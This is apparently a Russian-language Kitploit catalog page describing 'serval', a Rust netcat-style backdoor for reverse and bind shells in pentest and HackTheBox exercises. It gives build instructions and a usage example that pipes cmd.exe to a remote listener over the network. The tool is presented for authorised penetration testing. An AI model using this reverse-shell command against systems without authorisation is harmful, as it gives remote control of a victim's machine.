Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
serval — Бэкдор в стиле Netcat для пентестинга и пентест-упражнений | Kitploit
Инструменты/GitHubGitHub/tgadola/serval
Генерация полезной нагрузкиТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubtgadola/serval

serval

Бэкдор в стиле Netcat для пентестинга и пентест-упражнений

Репозиторий
50616 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Бэкдор в стиле Netcat для пентестов и соревнований по пентесту

Serval — это легковесный, простой в использовании бинарный файл для создания обратных и привязанных оболочек для пентестов или упражнений по пентесту. Serval является кроссплатформенным и может быть скомпилирован как для Windows (32 и 64 бита), так и для Linux (32 и 64 бита). Примечание: Благодаря гибкости Rust, возможно компилировать для других платформ (например, ARM), но я не тестировал на других платформах.

Зачем?

Я разработал Serval, чтобы избавиться от зависимости от netcat во время прохождения заданий HacktheBox, так как бывает проблематично найти бинарные файлы netcat для Windows (особенно с опцией -e), а найти бинарник из доверенного источника — ещё сложнее.

Возможности

  • Кросскомпилируемый! Может быть собран для Linux или Windows
  • История командной строки. Стрелки вверх и вниз позволяют прокручивать историю команд.
  • Поиск по истории командной строки! ctrl-r для обратного поиска по истории команд.
  • Редактирование строки. Клавиши Backspace и стрелки влево-вправо работают!
  • Совместимость. Есть только netcat на цели? Нет проблем! Слушатель serval всё равно может перехватить оболочку и предоставить вам расширенные функции.

Установка

Пользователи Rust (компиляция из исходников)

Загрузите исходный код с github

git clone https://github.com/tgadola/serval.git && cd serval-master

*Опционально: Отредактируйте файл сборки .cargo/config, чтобы изменить путь сборки.

Соберите бинарный файл для вашей текущей платформы.

cargo build --release

*Примечание: v1.1.0 требует Rust nightly

Вы можете собрать для других платформ, используя

cargo build --release --target <target-triple>

Другие

Если вы особенно доверчивый человек, вы можете скачать предварительно собранные бинарные файлы здесь.

Использование

По умолчанию Serval либо прослушивает, либо подключается к порту и перенаправляет стандартный ввод и вывод на это соединение. Флаг -e запускает процесс и передаёт его стандартный ввод и вывод по сети.

Запуск слушателя

Serval прослушивает все интерфейсы.

Используйте флаг -H для активации редактирования строки и истории команд!

serval -l 4400 -H

Запуск обратной оболочки

serval.exe <listening ip> <listening port> -q -e cmd.exe

????

Профит

Особая благодарность

Большое спасибо @kkawakam-transferwise и его крейту Rustyline, который буквально выполняет всю тяжёлую работу. Посмотрите Rustyline!

Спасибо создателям и участникам Clap! Посмотрите Clap.

Спасибо создателям и участникам Anyhow! Посмотрите Anyhow. +1 за отличное название крейта.

Спасибо @jaynus за все его советы по Rust

Лицензия

Apache 2.0. См. файл License для получения дополнительной информации.

Скачать инструмент